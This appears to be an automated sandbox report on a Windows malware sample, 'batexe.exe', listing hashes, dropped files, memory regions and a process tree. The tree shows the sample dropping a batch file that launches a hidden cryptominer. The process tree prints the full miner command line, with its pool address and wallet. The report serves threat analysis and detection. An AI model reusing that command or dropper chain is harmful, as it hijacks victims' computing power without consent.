73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 13:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3528	b2e.exe
2000	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2000	cpuminer-sse2.exe
2000	cpuminer-sse2.exe
2000	cpuminer-sse2.exe
2000	cpuminer-sse2.exe
2000	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4648-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 4648 wrote to memory of 3528	4648	batexe.exe	74
PID 3528 wrote to memory of 4288	3528	b2e.exe	75
PID 3528 wrote to memory of 4288	3528	b2e.exe	75
PID 3528 wrote to memory of 4288	3528	b2e.exe	75
PID 4288 wrote to memory of 2000	4288	cmd.exe	78
PID 4288 wrote to memory of 2000	4288	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Users\Admin\AppData\Local\Temp\D36D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D36D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D36D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D60D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\D36D.tmp\b2e.exe

Filesize
6.1MB

MD5
5580e37b258064bf3d587e32241eb7f2

SHA1
3e938f6c30da53a9eaef9c157a547b28fa5667fa

SHA256
b2226fe536494386db4b581d5e1186e9575d36bc85a13006e633bfb31b862143

SHA512
abf67c2aee43b6bb2d1547e330b918fa2190ed35adc7d179a54f72169a74e2fa81f27127a84693ca49c4a9eff28616dfe391f7f4bdf0a611dad1d69d54a02a5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\D36D.tmp\b2e.exe

Filesize
6.4MB

MD5
fe6ad10ec46e9b08bc8a79e6b8b37e01

SHA1
a332652d3538f1bad9c19d68d469b1c7d1ee75e2

SHA256
a27282f45db7b3b156f6a4a2f2274eba361716f0c7053b1afe5c581bfe99b91e

SHA512
614bd4d8220dbb1af18738adff40c6ad048a96a79a87120efa0fa6e924b695fb9f4b1aa1d1aef387e4b4646a78c281088062f9dab08fbf24aa2eec33dd12d103

Download Submit
C:\Users\Admin\AppData\Local\Temp\D60D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
112KB

MD5
e3f16b8ddfd60eaed77c00adbad84665

SHA1
24a1033f1f2e1d9fd7dd4b46f595e0669f5ccf6c

SHA256
c248eeb55988a9caad845c0111f8c85a15aeaccbb405c78cf24da201bb6862a9

SHA512
26b107edb0a03cc71def5e6da843dc07415db47bc972aaafb356394bb85ae483c24015113b4ae415e3b8c52b294a3bfa7eb67348c96f0aa0086801180101a1de

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
d858fa0db950494fa423187ec77b75b9

SHA1
37fc98691f1eae53a9814dbb01919fb80dce5c70

SHA256
4c48b1a6f9f731bd5cfddaf9ddd039b6b78ca0766b3916c5cd581e3586a1975b

SHA512
41e12cd1e1bf86ed0e4b9202b405f59a8a8454e81b05c0b80497fcf4ae6511f87f6ec2c8885cbffa014d7588855b5098e760d8a8440eb0777cb8810902f6520b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
15.8MB

MD5
3395423453e34b4e35f7a2ab7392a1ec

SHA1
1a5497889a1e84ae3915237681ebcb925cb70e8d

SHA256
e7bb98d94bf60f820100e47fb3cd53219f5d560ceabe88118324c10af921e1f9

SHA512
3b2f75e91e76c921a1e065cdae62bbbb93e188a4b804309d73c9f4fadc45ff03c09b0044246c895dc14aed383530900e6979f15f82c089f740b8b769dd3b6fb4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
15.6MB

MD5
7e0ce30809f5886354a5ec5b3c89c15f

SHA1
897de8d3ddb9f04cc69166432fe16f322873d34e

SHA256
18d9bd28201e9fa3576b116ac641dff73cf076a8e022b8dc709e53263e2466a1

SHA512
edf63b7c76072801e45d0555d541c69b942b5f2a1953d907c22ab5b66dc302845cb94537494d27824a55bff7e3586e7fbff333de7312e22d7b3a2459336113e8

Download Submit
memory/2000-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2000-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-42-0x0000000069FA0000-0x000000006A038000-memory.dmp

Filesize
608KB

Download
memory/2000-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2000-44-0x0000000001010000-0x00000000028C5000-memory.dmp

Filesize
24.7MB

Download
memory/2000-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2000-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3528-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3528-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4648-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download